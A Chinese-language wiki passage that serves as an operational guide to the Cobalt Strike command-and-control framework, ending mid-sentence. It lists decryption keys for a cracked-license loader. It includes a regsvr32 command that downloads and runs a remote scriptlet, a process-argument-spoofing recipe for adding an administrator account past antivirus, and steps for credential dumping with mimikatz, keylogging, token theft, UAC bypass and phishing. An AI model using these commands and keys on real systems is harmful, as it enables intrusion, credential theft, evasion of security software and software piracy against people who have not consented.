# CobaltStrike <p align="center"> <img src="../../../assets/img/logo/cobaltstrike.png" width="30%"> </p> --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **简介** Cobalt Strike 是一款常用于后渗透的神器,这个工具以团队作为主体,共享信息,拥有多种协议上线方式,集成了端口转发,端口扫描,socket 代理,提权,钓鱼等。除去自身功能外,Cobalt Strike 还利用了 Metasploit 和 Mimikatz 等其他知名工具的功能。 **官网** - https://www.cobaltstrike.com/ **Fofa** ``` cert="73:6B:5E:DB:CF:C9:19:1D:5B:D0:1F:8C:E3:AB:56:38:18:9F:02:4F" ``` **教程** - [aleenzz/Cobalt_Strike_wiki](https://github.com/aleenzz/Cobalt_Strike_wiki) - [Cobalt Strike 4.0 手册翻译](https://blog.ateam.qianxin.com/post/cobalt-strike-40-shou-ce-fan-yi-2019-nian-12-yue-2-ri-geng-xin-ban-ben/) **文章 & Reference** - [cobalt strike 快速上手 [ 一 ] - FreeBuf专栏·攻防之路](https://www.freebuf.com/column/149236.html) - [教你修改cobalt strike的50050端口 - 3HACK](https://www.3hack.com/note/96.html) - [ryanohoro/csbruter: Cobalt Strike team server password brute force tool](https://github.com/ryanohoro/csbruter) - [CS通过CDN上线](https://0x20h.com/p/8dee.html) - [渗透利器 Cobalt Strike 在野利用情况专题分析](https://paper.seebug.org/1190/) - [为 CobaltStrike TeamServer 加上谷歌二次验证](https://mp.weixin.qq.com/s/AePKPUDnBUr4WbJqvPCleg) - [Cobalt Strike: Using Known Private Keys To Decrypt Traffic - Part 2](https://blog.nviso.eu/2021/10/27/cobalt-strike-using-known-private-keys-to-decrypt-traffic-part-2/) - [破解版密钥相同,部分CobaltStrike加密流量可解](https://mp.weixin.qq.com/s/AcIFSjyqn9gzyRkyx3sRIQ) - [CobaltStrike beacon二开指南](https://tttang.com/archive/1789/) - [第19篇:关于近期cs服务端被反打的原因分析](https://mp.weixin.qq.com/s/i8eBT8O2IwCotf7wqnveEw) - [CobaltStrike4.5 分析总结](https://mp.weixin.qq.com/s/K47FXTMEWfB_474aHAGU5g) **相关资源** - [Twi1ight/CSAgent](https://github.com/Twi1ight/CSAgent) - CobaltStrike 4.x 通用白嫖及汉化加载器 ``` 下载 CSAgent.zip 解压,将原版 cobaltstrike.jar 放到解压目录中,确保 CSAgent.jar、resources 文件夹、scripts 文件夹和 cobaltstrike.jar 处于同级目录 替换 cobaltstrike、teamserver、agscript、c2lint、cobaltstrike.bat 文件中的解密 key 4.0 1be5be52c6255c33558e8a1cb667cb06 4.1 80e32a742060b884419ba0c171c9aa76 4.2 b20d487addd4713418f2d5a3ae02a7a0 4.3 3a4425490f389aeec312bdd758ad2b99 4.4 5e98194a01c6b48fa582a6a9fcbb92d6 4.5 f38eb3d1a335b252b58bc2acde81b542 使用 teamserver 和 cobaltstrike 脚本启动即可 只需删除 resources 文件夹和 scripts 文件夹即可去除汉化 ``` - [ca3tie1/CrackSleeve](https://github.com/ca3tie1/CrackSleeve) - [darkr4y/geacon](https://github.com/darkr4y/geacon) - Practice Go programming and implement CobaltStrike's Beacon in Go - [TheKingOfDuck/geacon](https://github.com/TheKingOfDuck/geacon) - 修改自geacon的多功能linux运维管理工具 - [Geacon代码学习&上线指南](https://xz.aliyun.com/t/7259) - [linshaoSec/csdroid](https://github.com/linshaoSec/csdroid) - cobaltstrike手机客户端,cobaltstrike手机版,cs手机版,cobaltstrike android - [H4de5-7/geacon_pro](https://github.com/H4de5-7/geacon_pro) --- ## 使用及维护 **目录结构** ```bash agscript # 拓展应用的脚本 c2lint # 检查profile的错误异常 cobaltstrike cobaltstrike.jar # 客户端程序 icon.jpg license.pdf readme.txt releasenotes.txt teamserver # 服务端程序 update update.jar third-party # 第三方工具 - README.vncdll.txt - vncdll.x64.dll - vncdll.x86.dll ``` **使用** Cobalt Strike 需要团队服务器才能使用,也就是 teamserver。 需要文件 teamserver 与 cobaltstrike.jar 可以选择把他放在公网上面 > 可以对比官方提供的sha256值来确保是否是原包 https://verify.cobaltstrike.com/ - 服务端 teamserver ```bash ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD] # 默认只填 host 与 password 即可 # <host> 是这个 Cobalt Strike 团队服务器的(默认)IP 地址。 # <password> 是连接到该服务器的共享密码。 # [/path/to/c2.profile] 这个参数指定一个「C2 拓展文件」 # [YYYY-MM-DD] 是该服务器运行的 Beaco npayloads 的删除日期。 ``` - 客户端 cobaltstrike 运行 `start.bat/sh` 或 `java -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -Xms512M -Xmx1024M -jar cobaltstrike.jar` 输入服务端IP、账号、密码,访问服务端 团队服务器的默认端口为 50050,User 字段填写你的昵称,当你进入团队服务器之后会显示此昵称。Password 字段填写团队服务器的共享密码。 **连接到多个团队服务器** Cobalt Strike 客户端可能会连接到多个团队服务器。通过 Cobalt Strike → New Connection (新建连接)来初始化一个新的连接。当连接到多个团队服务器,一个切换条会出现在你 Cobalt Strike 窗口的底部。 这个切换条允许你在活跃的 Cobalt Strike 团队服务器实例之间切换。每一个团队服务器有它自己的按钮。在一个按钮上点击右键、选择重命名来使这个按钮的名称能够反映这台团队服务器在你行动中的作用。这个按钮名称也用于在 Cobalt Strike 活动报告中标识团队服务器。 Cobalt Strike 会跟踪你连接到的团队服务器并记住你的信息。从连接对话框左手边选择一个团队服务器的 profile(连接信息),使用它的信息填充此连接对话框的字段。你也可以通过 CobaltStrike → Preferences → Team Servers 来管理此列表。 **导出数据** 如果你想导出 Cobalt Strike 的数据,通过 Reporting → Export Data 。Cobalt Strike 提供两种选项:把数据导出为 TSV 或 XML 文件。Cobalt Strike 客户端的导出数据功能会融合来自你当前连接的所有团队服务器的数据 **清除数据** Cobalt Strike 的数据模型将其所有的状态和状态元数据存储在 data/ 文件夹。 data/ 文件夹存在在你运行 Cobalt Strike 团队服务器的那个文件夹里。 要清除 Cobalt Strike 的数据模型:停止团队服务器,删除 data/ 文件夹及其内容。当你下次启动团队服务器的时候,Cobalt Strike 会重建 data/ 文件夹。 如果你想要存档数据模型,请停止团队服务器,然后使用你喜欢的程序来将 data/ 文件夹及其文件存储在其他位置。要还原数据模型,请停止团队服务器,然后将旧内容还原到 data/ 文件夹。 通过 Reporting → Reset Data 可以在不重启团队服务器的情况下重置 Cobalt Strike 的数据模型。 ### tls 兼容问题 **相关文章** - [解决 Cobalt Strike HTTPS Listener 无法在 Win7 运行问题](https://www.ch1ng.com/blog/253.html) ```bash # 修改 jdk.tls.disabledAlgorithms 关键字 cat /usr/local/java/jdk1.8.0_321/jre/lib/security/java.security | sed 's/\jdk.tls.disabledAlgorithms=SSLv3\, TLSv1\, TLSv1.1\, RC4/jdk.tls.disabledAlgorithms=RC4/g' > /usr/local/java/jdk1.8.0_321/jre/lib/security/java.security.bak mv /usr/local/java/jdk1.8.0_321/jre/lib/security/java.security /usr/local/java/jdk1.8.0_321/jre/lib/security/java.security.bak2 mv /usr/local/java/jdk1.8.0_321/jre/lib/security/java.security.bak /usr/local/java/jdk1.8.0_321/jre/lib/security/java.security ``` ### 上线提醒 **相关文章** - [实现CobaltStrike上线短信提醒](https://www.freebuf.com/articles/web/321010.html) - [CobaltStrike-机器上线微信提醒](https://hackergu.com/cobaltstrike-wechat-alert/) - [Cobalt Strike 上线微信提醒](http://www.nmd5.com/posts/2020-04-20-22/) - [Cobalt Strike的多种上线提醒方法](https://xz.aliyun.com/t/10698) **相关项目** - [evi1ox/cobalt_strike_bot](https://github.com/evi1ox/cobalt_strike_bot) - cobaltstrike 上线提醒 --- ## 用户界面 ### 菜单栏功能 **Cobalt Strike** ```bash New Connection # 新连接 Preferences # 偏好设置,窗口颜色,端口设置,GUI 格式,team server SSL 等 Visualization # 窗口视图模式 VPN interfaces # VPN 接入 Listeners # 监听器 Sript Manager # 脚本管理 Close # 退出 ``` **View** ```bash Applications # 用于显示 System Profiler 获取的目标浏览器,操作系统,flash 版本 Credentials # 显示所有已经获取的用户主机 hash Downloads # 显示下载的文件 Event log # 事件日志 记录团队 目标上线等记录 Keystrokes # 目标键盘记录 Proxy Pivots # 代理信息 Screenshots # 屏幕截图 Script Console # 加载自定义脚本 Targets # 显示所有主机 Web log # web 服务日志 ``` **Attacks** ```bash Packages HTML Application # 生成 hta 文件 MS Office Macro # 宏 office 文件 Payload Generator # 生成各种语言版本的 payload # USB/CD AutoPlay 利用自动播放运行的被控端文件(cs4.0 中已移除) # Windows Dropper 捆绑器可将任意正常的文件(cs4.0 中已移除) Windows Executable # 生成可执行文件 (一般使用这个) Windows Executable (S) # 把包含 payload,Stageless 生成可执行文件(包含多数功能) Web Drive-by Manage # 开启的所有 web 服务 Clone Site # 克隆网站 Host File # 提供 Web 以供下载某文件 Scripted Web Delivery # 为 payload 提供 web 服务以便于下载和执行 Signed Applet Attack # 启动一个 Web 服务以提供自签名 Java Applet 的运行环境 Smart Applet Attack # 自动检测 Java 版本并利用已知的 exploits 绕过 security System Profiler # 获取系统,Flash,浏览器版本等 Spear Phish # 鱼叉式网络钓鱼 ``` **Reporting** ```bash Activity report # 活动报告 Hosts report # 主机报告 Indicators of Compromise # 威胁报告 Sessions report # 会话报告 Social engineering report # 社会工程学报告 ``` **右键目标菜单** ```bash Interact # 打开beacon Access dump hashes # 获取 hash Elevate # 提权 Golden Ticket # 生成黄金票据注入当前会话 MAke token # 凭证转换 One-liner # 使用 PowerShell 单行程序来派生会话 Run Mimikatz # 运行 Mimikatz Spawn As # 用其他用户生成 Cobalt Strike 侦听器 Explore Browser Pivot # 劫持目标浏览器进程 Desktop(VNC) # 桌面交互 File Browser # 文件浏览器 Net View # 命令Net View Port scan # 端口扫描 Process list # 进程列表 Screenshot # 截图 Pivoting SOCKS Server # 代理服务 Listener.. # 反向端口转发 Deploy VPN # 部署VPN Spawn # 新的通讯模式并生成会话 Session # 会话管理,删除,心跳时间,退出,备注 Note... # 设置注释 Color # 设置会话颜色 Remove # 删除会话 Sleep # 会话休眠 Exit # 退出会话 ``` --- ### 工具条功能 从左到右依次是 ``` 连接到另一个团队服务器 从当前团队服务器断开连接 新建和编辑 CS 的监听器 切换 [服务器节点图] 的可视化形式 切换 [会话列表] 的可视化形式 切换[目标列表的可视化形式] 查看凭证 查看下载的文件 查看键盘记录 查看屏幕截图 生成一个 windows 的二进制或 DLL 文件(stageless) 设定 java 签名的 Applet 攻击 生成一个 office 宏文件 建立一个 web delivery 脚本攻击(stageless) 在 cs 的 web 上托管文件 管理 cs 的 web 文件 ``` --- ### 可视化管理 Cobalt Strike 有多种可视化展示,这些不同的设计是为了帮助你的行动中的不同部分。 你可以通过工具条或 Cobalt Strike → Visualization (可视化)菜单在不同的可视化形式之间切换。 Session Table 和 Target Table 都没什么好说的,介绍一下 Pivot Graph #### Pivot Graph 每一个 Beacon 会话都有一个对应的图标。和会话表中一样,每个主机的图标标识了它的操作系统。如果图标是红色的、并且带有闪电,那么表示此 Beacon 运行在管理员权限的进程中。一个褪色的图标说明此 Beacon 会话被要求离开并且它接受了此命令。 防火墙图标代表你 Beacon payload 的流量出口点。绿色虚线表示使用了 HTTP 或 HTTPS 连接出网。黄色虚线表示使用 DNS 协议出网。 从一个 Beacon 会话连接到另一个 Beacon 会话的箭头表示两个 Beacon 之间存在连接。在这种对等通信模式中,Cobalt Strike 的 Beacon 使用 Windows 命名管道和 TCP sockets 来控制其他的Beacon。 橙黄色的箭头代表命名管道通道。SSH 会话也使用一个橙黄色的箭头。一个淡绿的箭头代表一个 TCP socket 通道。一个红色的(命名管道)或紫色的(TCP)箭头表示一个 Beacon 连接断掉了。 --- ## Listeners & payload 你需要为 Cobalt Strike 的 Beacon payload 配置监听器。Beacon 是 Cobalt Strike的 payload,用于建模高级攻击者。使用 Beacon 来通过 HTTP,HTTPS 或 DNS 出口网络。你也可以通过控制经由命名管道和 TCP sockets 的对等(peer-to-peer)Beacon 从而限制出口网络,只允许部分主机直接回连。 一个监听器既是一个 payload 的配置信息,同时又是 Cobalt Strike 起一个服务器来接收来自这个 payload 的连接的指示。一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。 **上线一个目标** 首先配置一个监听器 生成 payload 选择 Packages>Windows Executable 在目标机器上执行 dll ```bash rundll32.exe artifact.dll Start ``` 目标上线 右键目标,打开 interact 来使用 Beacon,用它来执行各种命令 如果想对目标进行命令管理 需要在前面加上 shell ```bash shell whoami ``` Cobalt Strike 中它的心跳默认是 60s 这会让我们执行的命令响应很慢,可以设置 sleep 值,加快其响应速度 ```bash sleep 1 ``` ### 监听器管理 Cobalt Strike → Listeners 。这会打开一个标签页,列举出所有你的配置的 payload 和监听器。 在 Cobalt Strike4.1 中有如下几种 Listeners(监听器) - beacon 系列为 Cobalt Strike 自身,包括 dns,http,https,smb,tcp 五种方式的监听器 - foreign 系列为外部监听器 通常与 MSF 或者 Armitage 联动。 --- ### Beacon Beacon 很灵活,支持异步通信模式和交互式通信模式。异步通信效率缓慢:Beacon 会回连团队服务器、下载其任务,然后休眠。交互式通信是实时发生的。 Beacon 的网络流量指标具有拓展性。可以使用 Cobalt Strike 的可拓展的 C2 语言来重新定义 Beacon的通信。这允许你掩盖 Beacon 行动,比如使其流量看起来像其他的恶意软件,又或者将其流量掺入作为合法流量。 **Spawn** spawn 的功能就是可以派生出更多的 Beacon 让一个团队分布式渗透。通常我们在团队主服务器上给队友来派生 Beacon 这样只要主服务器权限不掉,还能继续操作。尽量派生出多个 Beacon,让我们的操作都在子 Beacon。 灵活的运用 Spawn 可以提高团队效率,权限维持,和 MSF、Armitage 互转会话。 --- #### HTTP Beacon 和 HTTPS Beacon **相关文章** - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_self-signed-ssl-certificates.htm - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_valid-ssl-certificates.htm --- #### DNS Beacon DNS Beacon 使用 DNS 请求来将 Beacon 返回给你。DNS 响应告诉 Beacon 休眠或是连接到团队服务器来下载任务。DNS 响应也告诉 Beacon 如何从你的团队服务器下载任务。DNS Beacon 在绕过防火墙权限维持上非常有效. 在 Cobalt Strike 4.0 及之后的版本中,DNS Beacon 是一个仅 DNS 的 payload。在这个 payload 中,没有 HTTP 通信模式。这是与之前的版本的产品不同的地方。 **相关文章** - [踩坑记录-DNS Beacon](https://xz.aliyun.com/t/7938) - [cobaltstrike dns beacon知多少](https://xz.aliyun.com/t/7488) - [CS上线之DNS隧道踩坑记](https://www.freebuf.com/articles/web/256032.html) - https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_dns-beacons.htm **数据通道** DNS Beacon 可以通过 DNS TXT 记录、DNS AAAA 记录或 DNS A 记录下载任务。当其在目标上,此 payload 有在这些数据通道之间切换的灵活性。使用 Beacon 的模式命令来改变当前 Beacon 的数据通道。 ```bash mode dns # DNS A 记录数据通道; mode dns6 # DNS AAAA 记录数据通道; mode dns-txt # DNS TXT 记录数据通道。DNS TXT 记录是默认的数据通道。 ``` **监听器设置** 创建一个 DNS Beacon 监听器,选择 Beacon DNS 作为 payload 类型。 点击 [+] 来添加一到多个与 beacon 通信的域名。你的 CS 团队服务器系统必须对你指定的域名具有权威性。创建一个 DNS A 记录然后指向你的 CS 团队服务器。使用 DNS NS 记录来将多个域名或子域名委派到你的 Cobalt Strike 团队服务器的 A 记录。 DNS HOST(Stager) 字段配置 DNS Beacon 的 TXT 记录 stager。这个 stager 仅被用在要求显式 stager 的 Cobalt Strike 功能中。你的 Cobalt Strike 团队服务器系统也必须对此域名具有权威性。 要测试你的 DNS 配置,打开一个终端并输入 nslookup jibberish.beacon domain (domain 自行替换为 stager 域名)。如果你得到了一个 0.0.0.0 的 A 记录回复——这说明你的 DNS 配置是对的。如果你没有得到回复,那说明你的 DNS 配置不对、DNS Beacon 不会与你通信。 确保你的 DNS 记录引用了你的网络接口的首选地址(primary address)。Cobalt Strike 的 DNS 服务器会一直从你的网络接口的首选地址发送响应。当 DNS 解析器从一台服务器请求信息,但是从另一台服务器接收回复时,DNS 解析器往往会丢弃回复。 如果你的团队服务器在内网中,请确保用你的公网 IP 地址作为 NS 记录,并将你的防火墙设置为转发 53 端口上的 UDP 流量到你的系统。Cobalt Strike 包含一个控制 Beacon 的 DNS 服务器。 当启动一个 DNS Beacon 的时候,就相当于 Cobalt Strike 把团队服务器作为了一个 DNS 的解析服务器。当受害主机进行 DNS 请求的时候,就需要给 53 端口发包。如果团队服务器在内网中,就需要把公网 IP 的 53 端口和内网 IP 做一个端口映射,相当于把外网的 53 端口映射到内网的团队服务器上去。 域名建立 A 记录和 NS 记录 - A 记录指向服务器 ip - ns 记录都指向 A 记录域名 只要木马在目标主机执行成功,我们的 CobaltStrike 就能接收到反弹的 shell。但是默认情况下,主机信息是黑色的。 我们需要执行以下命令,让目标主机信息显示出来 ```bash checkin mode dns-txt ``` --- #### SMB Beacon SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽。 存在以下2个条件 1. 具有 SMB Beacon 的主机必须接受端口 445 上的连接。 2. 只能链接由同一 Cobalt Strike 实例管理的 Beacon。 派生一个 SMB Beacon 在 Listeners 生成 SMB Beacon 右键目标主机 > spawn > 选中 Listeners >choose 运行成功后 external 可以看到 ∞∞ 这个字符 ,这就是派生的 SMB Beacon 当前是连接状态 你可以主 Beacon 上用 link host 链接它或者 unlink host 断开它 。 当用命令断开时 链接符号上面出现 disconnected --- #### TCP Beacon --- ### Attacks Payload #### Pachages **HTML Application** HTA 是 HTML Application 的缩写(HTML 应用程序),是软件开发的新概念,直接将 HTML 保存成 HTA 的格式,就是一个独立的应用软件 提供 3 种生成方式 exe,powershell,vba。 其中 VBA 方法需要目标系统上的 Microsoft Office,在系统支持的情况下一般选择 powershell,通常结合 host File(文件下载功能) 来实行钓鱼。 **MS Office Macro** 宏是微软公司为其 OFFICE 软件包设计的一个特殊功能,它利用简单的语法,把常用的动作写成宏。宏病毒传播极快,可以多平台交叉感染,在鱼叉邮件投递内嵌恶意宏的 Word 文档是 APT 活动中经常用到的手法。 复制生成的 payload 新建一个 word 文档, 编辑宏 另存为 `启用宏的 word` 文件 **Payload Generator** 用 Packages>Windows Executable 生成的服务很容易被 AV 干掉,所以我们一般生成 shellcode 然后自己写个加载器加载运行我们的 Payload **Windows Executable(Windows 可执行文件)** - dll ```bash rundll32.exe artifact.dll Start # rundll32.exe 用来执行 32 位或 64 位的 dll 文件,它的作用是执行 DLL 文件中的内部函数,这样在进程当中,只会有 Rundll32.exe,而不会有 DLL 后门的进程,这样,就实现了进程上的隐藏。 # 或 regsvr32 artifact.dll ``` 通过 sct 远程执行 1.txt ```xml <?XML version="1.0"?> <scriptlet> <registration progid="Pentest" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("cmd /k calc.exe"); ]]> </script> </registration> </scriptlet> ``` 打开 Arracks>Web Drive-by>Host File 然后执行 ``` regsvr32 /u /n /s /i:http://192.168.141.143:80/payload.sct scrobj.dll ``` **Staged 和 Stageless 的区别** 前者的实际功能只是和 C2 建立连接并接收 Payload, 然后加载执行, 而 Stageless 直接省去了接收 Payload 的步骤. Stageless 生成除了的 Payload 都会比 Staged 类型的要大很多, 而且包含了特征明细 --- #### Web Drive-by **Manage** 主要管理我们所创建的Payload以及各类PowerShell管理地址 **Clone Site** 克隆网站 **Host File** 通过 Cobalt Strike 的网络服务器托管文件 **Scripted Web Delivery(S)** **Signed Applet Attack** **Smart Applet Attack** **System Profiler** 该功能能收集用户的信息然后重定向,这个有利于我们判断目标环境 然后将 url 发给目标,在目标访问后可以点击 View>Applications 看到相关信息 --- #### Spear Phish `鱼叉式网络钓鱼` ```bash targets # 发送的目标信息 xxxx@xxx.com(tab键) name tmplate # 邮件模板 一般在邮件的更多选项中 ,选择导出,或者显示原文 attachment # 附件 Embed URL # 要嵌入的网址 Mail server SMTP Bounce to # 模仿发件人 preview # 预览我们的模板文件 ``` --- ## 后渗透 **Beacon 控制台** ```bash beacon> help Beacon Commands =============== Command Description ------- ----------- argue Spoof arguments for matching processes blockdlls Block non-Microsoft DLLs in child processes browserpivot Setup a browser pivot session cancel Cancel a download that's in-progress cd 变更目录 checkin Call home and post data clear Clear beacon queue connect Connect to a Beacon peer over TCP covertvpn Deploy Covert VPN client cp 复制文件 dcsync Extract a password hash from a DC desktop View and interact with target's desktop dllinject Inject a Reflective DLL into a process dllload Load DLL into a process with LoadLibrary() download 下载文件 downloads 列出正在进行的文件下载 drives 列出目标上的硬盘 elevate Spawn a session in an elevated context execute Execute a program on target (no output) execute-assembly Execute a local .NET program in-memory on target exit Terminate the beacon session getprivs Enable system privileges on current token getsystem 尝试获得 system 权限 getuid 获取用户ID hashdump 转储密码哈希 help 帮助菜单 inject Spawn a session in a specific process jobkill Kill a long-running post-exploitation task jobs List long-running post-exploitation tasks jump Spawn a session on a remote host kerberos_ccache_use Apply kerberos ticket from cache to this session kerberos_ticket_purge Purge kerberos tickets from this session kerberos_ticket_use Apply kerberos ticket to this session keylogger Inject a keystroke logger into a process kill 杀掉一个进程 link Connect to a Beacon peer over a named pipe logonpasswords Dump credentials and hashes with mimikatz ls 查看目录 make_token Create a token to pass credentials mimikatz 运行 mimikatz 命令 mkdir 建立一个目录 mode dns Use DNS A as data channel (DNS beacon only) mode dns-txt Use DNS TXT as data channel (DNS beacon only) mode dns6 Use DNS AAAA as data channel (DNS beacon only) mv 移动文件 net 网络和主机枚举工具 note 设置注释 portscan 扫描网络中的端口 powerpick 从非托管进程执行 PowerShell powershell 通过 powershell.exe 执行命令 powershell-import 导入一个 powershell 脚本 ppid Set parent PID for spawned post-ex jobs ps 显示进程列表 psinject Execute PowerShell command in specific process pth 使用 Mimikatz 传递哈希值 pwd 打印当前目录 reg 查询注册表 remote-exec 在远程主机上运行一个命令 rev2self 恢复为原始令牌 rm 删除文件或文件夹 rportfwd 设置反向端口转发 run Execute a program on target (returns output) runas 以其他用户身份执行程序 runasadmin Execute a program in an elevated context runu 在另一个 PID 下执行程序 screenshot 截一张截图 setenv 设置一个环境变量 shell 通过 cmd.exe 执行命令 shinject 将 shellcode 注入到进程中 shspawn Spawn process and inject shellcode into it sleep 设置 beacon 心跳时间 socks 启动 SOCKS4a 服务器来中继流量 socks stop 停止 SOCKS4a 服务器 spawn Spawn a session spawnas Spawn a session as another user spawnto Set executable to spawn processes into spawnu Spawn a session under another process ssh Use SSH to spawn an SSH session on a host ssh-key Use SSH to spawn an SSH session on a host steal_token 从进程中窃取访问令牌 timestomp 将时间戳从一个文件应用到另一个 unlink Disconnect from parent Beacon upload 上传文件 ``` **结束进程** 某些任务会开始一个 jobs 任务,当不需要这些进程时,可以运行 jobs 查看任务进程,并结束进程 ```bash jobs # 查看进程 jobkill [JID] # 杀掉指定的进程 ``` ### Access #### Hash ```bash hashdump ``` 获取密码的密码在 credentials 存在记录 view > credentials **mimikatz** ```bash logonpasswords ``` #### 权限提升 **Elevate** 输入 elevate 来列出在 Cobalt Strike 中注册的权限提升漏洞。运行 elevate [exploit listener] 来尝试使用特定的漏洞利用来提权。你也可以通过 [beacon] → Access → Elevate 来启动其中一个漏洞利用。 单独使用 runasadmin 命令,来列出在 Cobalt Strike 中注册的权限提升命令。运行 runasadmin [exploit] [command+agrs] 来尝试在提权的临时环境中运行特定的命令。 **使用已知凭证提权** 使用 `runas [DOMAIN\user] [password] [command]` 使用其他用户的凭证来以其他用户身份运行一个命令。这个 runas 命令不会返回任何输出。但是,你也可以在非特权上下文中使用 runas 。 使用 `spawnas [DOMAIN\user] [password] [command]` 使用其他用户的凭证来以其他用户身份派生一个会话。这个命令派生一个临时的进程并将你的 payload stage 注入进那个进程。你也可以通过 [beacon] → Access → Spawn As 来运行此命令。 使用这两个命令时,请注意,SID 不是 500 的账号的凭据会派生一个中等完整性上下文中的 payload。你将需要使用 Bypass UAC 来提权至一个高完整性上下文。同时也要注意,你应该从特定账户可以读取的工作文件夹中运行这些命令。 **获取 SYSTEM 账号** 使用 getsystem 命令来模拟一个 SYSTEM 账号的令牌。此访问等级可以允许你执行管理员用户无法执行的特权操作。 ```bash getsystem ``` 另一种获取 SYSTEM 权限的方法是创建一个运行 payload 的服务。 elevate sve-exe [监听器] 命令可以实现此目的。此命令会在目标磁盘上落地一个运行 payload 的可执行文件、创建一个服务来运行此 exe,承担对 payload 的控制,然后清理服务和可执行文件。 **Bypass UAC** Microsoft 自 Windows Vista 中引入了 UAC 机制并在 Windows 7 中对 UAC 机制进行了完善。UAC 与 UNIX 中的 sudo 的工作机制十分相似。平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升其权限。 Cobalt Strike 附带了一些绕过 UAC 的攻击。但如果当前用户不是管理员,攻击会失效。要检查当前用户是否在管理员组里,使用 `run whoami /groups` 命令。 `elevate uac-token-duplication [listener]` 命令会使用提升的权限派生一个临时的进程并将一个 payload stage 注入进此进程。此工具使用一个 UAC 漏洞允许一个非提权的进程使用从一个提权的进程窃取的令牌来启动一个任意进程。该漏洞要求攻击者一些分配给提权的令牌的权限。你的新会话的能力会反映这些受限的权利。如果「始终通知」处于最高设置,此攻击要求提权的进程已经运行在当前桌面会话中(作为同一用户)。此攻击适用于2018年11月更新之前的 Windows 7 和 Windows 10 系统。 `runasadmin uac-token-duplication [命令]` 是和上面描述的相同的攻击,但是此变形是在一个提权的上下文中运行你选择的命令。 `runasadmin uac-cmstplua [命令]` 将尝试绕过 UAC 并在一个提权的上下文中运行命令。此攻击依赖于 COM 对象,该对象会自动从特定的进程(微软签名的,位于 c:\windows\* 目录下的)上下文中提权。 **令牌假冒** 当你获取了本地计算机的 system 权限后,如果这台机器上有域用户跑的进程,就直接可以窃取域账号的 token,然后从本地用户组跨入域环境。如果这台机器上有域管的开的进程,那么直接 steal token 后就可以登录域控了。 ```bash steal_token <PID> ``` #### argue **绕过杀软添加用户** argue 进程参数欺骗后可使用 run 或 execute 来执行 net1 命令添加一个管理员用户,全程无拦截,而用 shell 执行 net1 命令时仍然会被拦截,因为它还是通过创建一个 cmd.exe 子进程来执行的。 ``` argue 进程参数欺骗 argue [command] [fake arguments] argue 命令 假参数 欺骗某个命令参数 argue [command] argue 命令 取消欺骗某个命令参数 beacon> argue net1 /bypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypassbypass beacon> run net1 user demouser Abcd!@#$12 /add beacon> run net1 localgroup administrators what /add ``` --- ### Explore **Browser Pivoting** `浏览器劫持` Browser Pivoting 的功能是劫持目标的 WEB 会话,浏览此代理服务器时,将保存 cookie 信息,验证 HTTP 会话身份和客户端 SSL 证书。可以让攻击者以受害主机上的终端用户的身份来访问浏览器上开着的应用。攻击者可以继承目标用户对于网站的访问权限,相当于直接跳过了对于浏览器上的应用程序的身份验证。 目标右键 > Explore > Browser Pivot 选择你想要的注入的进程。你也可以决定使用哪个端口绑定 Browser Pivoting 代理服务器。 然后在浏览器设置代理,访问网址,如果目标关闭正在使用的选项卡,则需要重新注入 browser pivoting 代理服务器。 **端口扫描** 使用 目标右键 > Explore > port scan 可以选择网段、协议、以及最大链接数 扫描完成后我们可以在 services 视图查看扫描结果,多选或者单选 右键 > Services 看到我们的扫描结果。 **进程** ```bash ps ``` **键盘记录** 键盘记录有使用2种方式 一种是进程注入 一种是直接使用 选择一个进程来注入 ```bash ps # 查看进程列表 ``` 可见 2640 是 notepad.exe 选择它来注入 ```bash keylogger 2460 x64 # 有2个选项 x64 和 x86 ``` 在 View>Keystrokes 可以看到键盘的记录 **屏幕截图** 和键盘记录一样可以选择一个进程进行截图 ```bash screenshot 2640 x64 90 ``` 在 View>Screenshost 可以看到截图 --- ### Pivoting 速度很慢 **rportfwd** ```bash rportfwd 本机端口 目标ip 目标端口 ``` 例如转发 10 段的一台机器 3389 到 192.168.141.142 的 8888 端口 ```bash rportfwd 8888 10.20.1.129 3389 ``` 取消转发 ``` rportfwd stop 8888 ``` **socks4** 通过这些 SOCKS 服务器的所有连接都将变为连接,读取,写入和关闭任务状态,以便执行相关的 Beacon。你可以通过 SOCKS 的任何类型的 Beacon 进行隧道传输。 Beacon 的 HTTP 数据通道对数据转发的响应最快,如果你想通过 DNS 转发流量,请使用 DNS TXT 记录通信模式。 CS 本身支持的是 socks4 代理,貌似有脚本支持 socks5,他有 2 种用法,一种是配合 proxychains 带入目标内网 ,一种是直接把 msf 带入目标内网 在 192.168.141.142 的 8888 端口开启 sock4 代理 ```bash socks 8888 ``` proxychains 配置 ```bash vim /etc/proxychains.conf socks4 192.168.141.142 8888 ``` **Listener** 该项用于在目标上启动一个 Listener,对于内网多层网段的场景,可以将 shell 弹回到目标机器上。 **Covert VPN** > 注:此功能在Windows 10目标上不起作用。 VPN pivoting 是一种灵活的隧道传输方式,这种方式不受代理 pivot 的那些限制。Cobalt Strike 通过其隐蔽 VPN 功能提供 VPN pivoting 服务。隐蔽 VPN 创建一个在 Cobalt Strike 系统上的网络接口并将此接口桥接进目标的网络中。 要激活 Covert VPN,右键单击受控的主机, Pivoting - > Deploy VPN。选择你希望 Covert VPN 绑定到的远程接口。 勾选 Clone host MAC address (克隆主机 MAC 地址)框来使你的本地接口具有与远程接口一样的 MAC 地址。保留此选项的勾选状态是最安全的选择。 激活隐蔽 VPN 接口后,你可以像使用你的系统上的任何物理接口一样使用它。使用 ifconfig 来配置其 IP 地址。如果目标网络具有 DHCP 